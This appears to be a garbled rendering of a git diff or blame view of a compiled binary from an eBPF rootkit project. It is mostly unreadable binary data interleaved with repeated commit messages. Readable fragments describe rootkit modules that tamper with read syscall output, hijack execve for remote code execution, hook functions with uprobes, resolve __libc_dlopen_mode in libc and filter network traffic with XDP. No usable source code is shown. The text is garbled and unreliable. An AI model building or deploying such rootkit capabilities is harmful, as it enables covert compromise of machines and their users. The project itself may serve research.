p<00>M<00><05><00><00>(<05><00><00>e<05><00><00><00><05>H<00><00>	<09>`<00><00>	<09>h<00>#	<09><00><00>{!<21><00><00><00><1E><00><00><00>(<28><00><00><1E><00><00>=<08><00><00>w	<09><00><00>	<00><00>	0<00><00>h@<00>' 	 H<00>[ 	$X<00><00>M<00> <05><00>M
 								!<08><00>M!!)<29><00>MO!-<2D><00><00>60<00>M<00>!<00>M<00>!
M"	<09>(MPM?"hMb"<00>M<00>"<00>M#<00><00><00>LMY#
M<00>#
 <00><00>h0M<00>#
D8M$
HXME$XhME$7XpME$<X<00>ME$/X<00>ME$HX<00>ME$LX<00>ME$AX<00>M<00>$l<00>M<00>$
p<00><00>%D<00><00>G%H<00><00><00>%L(	<00><00>%\X	<00>&`x	<00>&`<00>	<00>g&h<00>	~&<00>&<05><00>	~&'
 								~&X'<12>
 								~&X'
<0A>8
 								~&X'<12>P
 								~&X'
<0A>h
 								~&X'<12><00>
 								~&X'
<0A><00>
 								~&X'<12><00>
 								~&X'
<0A><00>
 								<00>q'p<00>
 								<00>q'p<00>
 								<00><00>'tMM<00>'><3E> M<00>'<0C>(M!(
<0A>@<00><00><18>hMc(
<0A>xM<00>(<19><00><00><00>($<24><00><00>U)9<>
<00>U)*<2A>
<00>U)<08>
<00><00>)<19><00>M<00>)
<0A><00>M<00>*	<09> <00>b*	<09>0<00>@M<00>*	<09>DC<00>C<00><00>F<00><00>L<00><00>L<00> F<00>0L<00>PF<00><00>C<00><00>C<00><00>C<00><00>C<00><00>C<00>XF<00>hL<00><00>F<00>(	F<00>%0	F<00>X	F<00>x	F<00><00>	F<00>%<00>
 								F<00>%<00>
 								F<00><00>
 								F<00>%<00>0PAX<00><00>J<00><00>	<00> d<00>:<00><00>`U<00><00><00>W<00><00><00><00><00><00><00>3<00><00>	BH<00>h<00>x<00><00><00>`?x<00><00><00><00>$<00>(<00>p<00><00>,P<00><00><00>	<00>: <00><00><00>O8<00>P<00>P<00><00>N	<00>0?X}<00><00><00>@<00><00>$	<00><00> P<00><00>\8
 									h
 								<00><00>
 								<00>P@	<00><00><00><00>
 H@<00><00>N<00><00><00><00>	m4<00>	<00>&<00>	<00>&	<00>&X	<00>	,:	\V		m<00>	~$	<00>G	<00><00>	<00>	<00>3G	<00>m	<00><00>	<00>	&,	>	D*<00>	n-l	<00>-]	<00><00>	<00>	<00>,<00>	<00>	3,		I<00>	_<00>	|	&	<00>	,<00>		<00>&<00>	&R	9&j	_<00>	~&<00>	<00>&_	<00>5<00>	<00>&!	%)i	.|		N<00>	m*<00>	0<00>	6<00>	M	O6v	<00><00>	<00>8	<00>G	<00>
y0 N z<00>
 								V<00>PIh@	<00>0<00><00>~`<00>0<00> <00> ~`~<00>~(~<00>~<00>~	~<00><00><00>0~<00>~0~X~<00>~~8~`<00>X~<00>~~X~<00>~<00>~~0~h~<00>~<00>~<00>~<00>~<00>~8~<00>~h~<00>~~H~<00>~<00>~~h~<00>~<00>~~8~<00>~8	~<00>	~<00>
 								~(~<00>~~ ~@~,<00>D<00>P<00>\<00>t
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~
 								~
 								~
 								~(
 								~4
 								~@
 								~L
 								~X
 								~d
 								~p
 								~|
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~
 								~
 								~
 								~$
 								~0
 								~<
 								~H
 								~T
 								~`
 								~l
 								~x
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>
 								~<00>,w<xLy\zl{||<00>}<00>w<00>w<00>x<00>x<00>x<00>xxx(x8xHxXxhxxx<00>x<00>x<00>x<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y0y@yPy`ypy<00>y<00>y<00>y<00>y<00>y<00>y<00>y<00>yyy y8zHzXzhzxz<00>z<00>z<00>z<00>z<00>z<00>z<00>z<00>z	z	z(	z8	zH	zX	zh	zx	z<00>	z<00>	z<00>	z<00>	z<00>	z<00>	z<00>	z<00>	z
 								z
 								z(
 								z8
 								zH
 								zX
 								zh
 								zx
 								z<00>
 								z<00>
 								z<00>
 								z<00>
 								z<00>
 								z<00>
 								z<00>
 								z<00>
 								zzz(z8zHzXzhzxz<00>z<00>z<00>z<00>{<00>{<00>{<00>{{{ {0{@{P{`{p{<00>{<00>{<00>{<00>{<00>{<00>{<00>{<00>{
{
{ 
{0
{@
{P
{`
{p
{<00>
{<00>
{<00>
{<00>
{<00>
{<00>
{<00>
{<00>
{{{ {0{@{P{`{p{<00>{<00>{<00>{<00>{<00>{<00>{<00>{<00>{{{ {0{@{P{`{p{<00>{<00>{<00>{<00>{<00>{<00>{<00>{<00>{{{ {0{@{X|h|<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}} }0}@}P}`}p}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}},}<}L}\}l}|}<00>}<00>}<00>}<00>}<00>}<00>}<00>}<00>}}},}<}L}\}l}|}<00>}<00><01><01><01><01><01><01>a<>b<>cdnqrstuvwefghijklmop<6F><01><01>PQRSTUVKLMNOZ[\]^_`EFGHIJWXY.text.rel.BTF.extipv4_csum.____fmtxdp_receive.____
-												Updated file names and directory structure to the new multi-modules rootkit

											
										
										
											2022-01-16 06:56:54 -05:00
+								Usage: %s ./kit OPTION
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
 								Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter	%-40s %-50s
-												Updated file names and directory structure to the new multi-modules rootkit

											
										
										
											2022-01-16 06:56:54 -05:00
+								-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								%H:%M:%S%s INFO  pid:%d code:%i, msg:%s
 								UNRECOGNIZED RB EVENT RECEIVEDActivating filter on network interface: %s
 								Error on input interfaceUnknown option: %c
 								Missing arguments for %c
 								:t:vhFailed to open and load BPF skeleton
 								Failed to load and verify BPF skeleton
 								Failed to create ring buffer
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								libc.so.6Error obtaining libc symbols__libc_dlopen_modelibdl: %lx
 								dlopen: %llx
 								Offset: %lx
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								Filter set and readyP<00><04>9}}}<00><00>int<08>,<19>-9<05><19><05><1B><05>9<05><1A>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>1<08>3<07>6	<09>7	<09>8	<09>9	<09> :	<09>(;	<09>0<	<09>8=	<09>@@	<09>HA	<09>PB	<09>XD<16>`F<14>hH<07>pI<07>tJ<0B>xM<12><00>N<0F><00>O<08><00>Q<0F><00>Y
<0A><00>[<17><00>\<19><00>]<14><00>^	<09><00>_
 								-<00>`<07><00>b<08><00>
+	<08>	<00>9	<08>	<08>	<08><00>9?<11>	<08><08>
 									$<0E>	;<0C>
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								#
<0A>0
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								+<08>
 								/key
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+<07>arg
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								:<07>doc
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								@
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								I<07>(
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								D
 								q<13>	<08>8<00><15><15><15>	<08><11>`
 								<08>
 								<16>
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								<07>
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<EFBFBD>
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								<07>
 								}
 								$}
 								)<07>$
 								,	<09>(
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								/
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<EFBFBD>0
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+	<09>8
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+	<09>@
 	H
 								:	P
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								<	<09>X8
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<EFBFBD>
 								<EFBFBD>
 								<EFBFBD><11>
 								<EFBFBD>doc
 								<EFBFBD>
 								<EFBFBD>k
 								<EFBFBD><0B>(
 								<EFBFBD>0
 								<EFBFBD>	<08>
 								<EFBFBD>f
 								<EFBFBD><16>
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								<EFBFBD><07>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								<07>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								"	f<14><00><15><15>	q		<08>	<08><12>tm8J	<07>
 								<07><07><07>
<07><07><07><07><07> <0C>(0h9}
<06>
 <0A><12>
<0A>!
<0A><0C>
<0A><0C><13><14>}U9}2<06>	@8E<08>szG	-NPW\_9 c(j0
 								<EFBFBD>	
		)<11>g<11>map<11>g<11>	<09>	#<11><08><11><11><17><11><14>		<08>	<08>He	sz	-e		-objl	 	<06>(
 								<06>,r	0
<06>8<06><x	@	k			.	m<00>	9
'-(!,-I<03>	K<13>	L<12>	F	<09>	H<10>	M<07>	 N<03>	(To
 								Y<10>	[<0B>\u
 								]o
 								]o
 									<08>	!(
<02>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								####bss# !8+ (0!8<02><14><14> <14>!<14>"<14> #<14>($<14>0&	<09>'<10>"<00>)	<09>*<08>+<08>,<08>-<08>,.<08>./<08>00<08>61<08>M2<08>O3<08><00>4<08><00>5<00>6<00>#7#89#9<08>_#:~#;<00>#<%<00>#=<00>#>5%#?<08>N#@Em#AU<00>#Be<00>#C<08><00>#Du<00>#EE#F<08>&#GU>#H<08>\#I<08>m#J<08>~#K<08><00>#L<08><00>#M<08><00>#N<08><00>#O<08><00>#P<08><00>#Q<08>#R<08>3#S<08>I#T~	_#U<08>m#V<00>#W<00>#X<00>#Y#Z<08>,#[ED#\n#]<00><00>9<00>9<00>9<00>9<00>9<00>9<00>9599F%9%594E9(U9)e9u92<00>9<00>9<00>9<00>9#<00>9<00>9<00>9<00>9+939%9,<00>
 								<08><1E>obj{
 								<04>
 %+pbss(<05><00>^<05><00>	<08>	<08>	<08>$}<0E><03>"
pid<06>
 								#	<09>#<12>
 								<EFBFBD>.%9<00>Vall~all<0C>all!<0C>all"#&all'(_.V~$<06>)<06>
 								+1<0C>29396<0C>7<0F>:<0C>;<0F>><0C>?<0F>B<0C>C<0F>0/[0[4k8<06><<06>@<06> D<06>(	%F<03>I_Jaenv<0F>&env <03>	'I	(u<05><00><01><>)u<0E><03><>)u<1A><03><>&rbv<19><02>H'w[<02>P&errx9<03><>'<02>9<02>@&opt<02><06><02>D*&lm<02>o
 								<02>`'<02><08><02>X'<02>Q<02>h	<08>+X<0C>
<01>.,ctxX"<22><03><>)X-<2D><03><>)X:-<03><>&eY.<03><>&tm\
4<03><>&ts]X<02>@&t^	<09><03><>		<08>-K
<01>h,sigK<1D><02>l.=
<00><01><>'><10><02>P+3<0C>N<01><>)34\<02>l)3G<02>`)3W<33><02>X/"<00><01>2,arg"$<02>X'&<0B><02>`''<0B><02>h+<01><01>B<01><>,obj<01>*[<02>X&s<01><1E><02>h0err<01>+<01><01><01><>,obj<01>[<02>h1<01>[<01>+o[t<01>#)o7#<02>X&objq[<02>h2err|	<08>3bC<01>,objb"[<02>h%:;9I$>:;
:;I8$>5I	I
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								&I:;9
:;9I8
:;9<I!I/7I4:;9I?<
:;9I8'II:;9
:;9I8:;9>I:;9(
:;9I8&:;9
:;9I:;9 :;9I!:;9":;9#
:;9I8$>I:;9%!I/&4:;9I'4:;9I(.?:;9'I@<18>B):;9I*
 								:;9+.:;9'I@<18>B,:;9I-.:;9'@<18>B..:;9'@<18>B/.?:;9'@<18>B0
 								:;91.:;9'I@<18>B2
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								:;93.:;9'@<18>B,<00><00><01>
.outputuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic.output/bpfuser/../commonuser/include/moduleskit.skel.hkit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hstdint-intn.hstdint-uintn.hint-ll64.hlibbpf.helf.hlink.hmap_common.h	module_manager.h
 									<03><05>	vtY<02><03>$5<1A>/
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								uu<05>LX	Mb>$	<09>Y2	K<01>2	<09><01>.$<24>/
 								u<10><08>
 								<EFBFBD><0B>	<09>
<0A><11>;<3B>'t/<'t
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								<EFBFBD><08><05><03><12><03><13><11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>L	<09>J<03>	<09>J<11>K	<09>J<14>L	<09>J<03>	<09>J<11>K	<09>J<14>M<12>><3E>)t1<)t<0B><08><05><03><13><03><15><13>K<15><13>L
-												Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

											
										
										
											2022-02-06 14:15:57 -05:00
+								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
 								<EFBFBD>J<13>L
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
 								<EFBFBD>J<13>L
 								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<EFBFBD>J<13>L
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								<EFBFBD>J<13>L
-												Added new hooks and updated map fields to support new sudo module.

											
										
										
											2022-02-05 13:49:20 -05:00
+								<EFBFBD>J<03>
 								<EFBFBD>J<13>K
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<EFBFBD>J<13>L
 								<EFBFBD>f<03>
 								<EFBFBD>f<13>K
 								<EFBFBD>f<13>
L
 								<EFBFBD>	<03><0F><03>ot<<03> 	<09>Y(<03>n.<05>u<0B><><05><08>
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								<EFBFBD><05>
 								<08><><05><08>\?g#ft<
 								K	u<08>&4<><10><06>K<08><01>!j
 								<EFBFBD>uD<t<19><02><07><02>	<08><07>EK<03>-
 								<EFBFBD>Z
 								<EFBFBD>Z
 								<EFBFBD>[
 									wY<06>w/<10>	YI
!<08><05><><10>u
1<><31><08>
<0A><08><><EFBFBD>b<><08>#<23><>[	<05>u
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<08><08><06>=g<08>^&u(<28>!<21>vv<08><06>.?<07>$uu<08>\
 								<EFBFBD>Ku
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<EFBFBD>&<26>.K<08>ut	tKz<08>	/?gu	z.<08>J!<04>fvYxdp_receive_____fmt_19modify_payload_____fmt_48handle_tp_sys_exit_read_____fmt_22handle_tp_sys_exit_read_____fmt_23handle_tp_sys_exit_read_____fmt_24handle_tp_sys_exit_read_____fmt_25handle_tp_sys_exit_read_____fmt_26ipv4_csum_____fmthandle_tp_sys_enter_execve_____fmt_30tp_sys_enter_read_____fmthandle_tp_sys_enter_execve_____fmt_32handle_tp_sys_enter_execve_____fmt_33handle_tp_sys_enter_execve_____fmt_34_shortbufnamehandle_sched_process_exec_IO_lock_tinputstderrformattm_ydaytest_write_user_unique_____fmt_40test_write_user_unique_____fmt_41argp_stateoptoptchild_inputsrlim_td_ptrxdp_receive_____fmt_20xdp_receive_____fmt_21bpf_program_IO_write_endunsigned intrlimitnextlink_mapuser/kit.c_flagsexec_module_attrtest_write_user_unique_____fmtexpand_tcp_packet_payload_____fmt_43expand_tcp_packet_payload_____fmt_44expand_tcp_packet_payload_____fmt_45root_argpfs_openlevel__rlimit_resourcetm_mdayshort intexpand_tcp_packet_payload_____fmt_46hook_IO_buf_endlibbpf_print_fntm_gmtoffbtf_custom_pathrlim_maxEXITGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectiontm_yearpin_root_pathd_val__RLIMIT_LOCKSprint_help_dialogmodule_config_t__RLIM_NLIMITStm_mongp_offset_IO_save_endmessagemmapedfloat_IO_codecvthandle_tp_sys_exit_read_____fmtrelaxed_core_relocsoverflow_arg_arealong long unsigned intcleanuprelaxed_mapsexpand_tcp_packet_payload_____fmtkit_bpf__open_opts__RLIMIT_NPROCl_nextfs_module_attrkit_bpf__bsskconfigrb_eventexec_moduleLIBBPF_WARN_offsetoff_tmodify_payload_____fmttp_sys_enter_openatINFO_filenodlopenAddrlibbpf_print_leveldata_sizeargp_optionsize_targs_docint64_toffsetl_prev_IO_read_base_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attr_IO_write_ptrflags__uint64_tkit_bpf__loadkit_bpfcodekit_bpf__destroyprog_cntmodule_config__RLIMIT_OFILEifindexd_tagmapsElf64_Dyncharobject_name__rlim_t_modemap_cnt__RLIMIT_NLIMITS_IO_write_base_IO_read_ptrbpf_linkinjection_moduleexpand_tcp_packet_payload_____fmt_42err_streaminjection_module_attrxdp_receive_____fmt_1xdp_receive_____fmt_2xdp_receive_____fmt_3xdp_receive_____fmt_4xdp_receive_____fmt_5xdp_receive_____fmt_6xdp_receive_____fmt_7xdp_receive_____fmt_8xdp_receive_____fmt_9time_targp_domainprog_skel_szbpf_object_freeres_listskeletonrlim_cur_IO_markerlong long intsig_handlerhelp_filtertp_sys_enter_execveRLIMIT_COREsched_module_attrheaderhandle_tp_sys_exit_read_____fmt_27event_type__RLIMIT_RSSring_buffer__RLIMIT_MSGQUEUE_freeres_bufElf64_Xword_IO_backup_baseLIBBPF_INFO__pad0RLIMIT_AS__pad5bpf_prog_skeletonprogshandle_tp_sys_enter_execve_____fmtRLIMIT_FSIZE_vtable_offsetdataargpoptargargs__int64_targvlong doubleattach_prog_fdparsergroup__u32xdp_modulefs_moduleargp_childlinksrb_commRLIMIT_DATAout_stream_IO_save_base_IO_read_endexec_var_hijack_activerodataRLIMIT_CPUmodule_config_attr_tlong intoptionserror_t_IO_wide_datauint64_tbump_memlock_rlimitd_un__va_list_tagexitingpstatel_ldfp_offsethijacker_statetp_sys_exit_readoptskit_bpf__openERRORargp_parser_tbpf_map_skeleton_IO_buf_base_wide_dataRLIMIT_NOFILE__empty_lockproglong unsigned int_old_offset_IO_FILE__RLIMIT_SIGPENDINGreg_save_arearlim_newLIBBPF_DEBUGdata_szevent_type_ttm_mintm_zone__int128handle_rb_eventuprobe_execute_command_____fmtunsigned charElf64_Addr__RLIMIT_RTTIMElinequotedl_addrlink__RLIMIT_RTPRIOsched_modulebpf_object_open_optsbpf_object_skeletonmodule_config_attr__time_ttp_sys_enter_read_codecvt__RLIMIT_MEMLOCKtm_wdayarg_numDEBUGkit_bpf__create_skeleton__off_ttm_hourverbosemap_skel_szsigned charuprobe_execute_commandshort unsigned inttm_secmainbpf_maptm_isdstxdp_receive_____fmtElf64_Sxwordchildrendoublel_name/home/osboxes/TFG/src_markers_chainRLIMIT_STACKkit_bpf__rodataFILEdesc_flags2_cu
 								.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>K
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>d
 								<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>x
 									<00><>}
 								 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 									<00><><00>
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 									<00><><00>
 								)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 									<11><00>
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 									$<24><00>
 								<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 <><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&	><3E>0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>7	K<><<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>O5<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>h<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>|6<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								)
 								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								Q)
-												FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

											
										
										
											2022-01-15 16:16:30 -05:00
+								.
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><
 								<00>A
 								,M
 								Y
 								Ne
 								<00>q
 								$
<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
<00>
 								<00><00>
 								<00><00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
 								<00><00>
 								K<00>
 								<00><00>
 								?<00>
 								<00><00>
 								>
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>*
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
 								<00>D
 								<00>Q
 								<00>^
 k
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>x
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
 								g
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								$<00>
 								g<00>
 								p<00>
 								<00><00>
 								<00><00>
 								<00><00>
 								<00>
 								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
 								<00>!
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>.
 								T;
 								YH
 								<00>U
 								k	b
 								N
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								o
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								|
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00><00>
 								I<00>
 								<00><00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00><00>
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>	<00>
 								F<00>
 								<00><00>
 								\
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>!
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								-
 								C9
-												Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.

											
										
										
											2022-03-03 05:53:51 -05:00
+								<00>E
 								<00>R
-												Added new libc symbols extraction

											
										
										
											2022-03-02 19:00:50 -05:00
+								<00>y
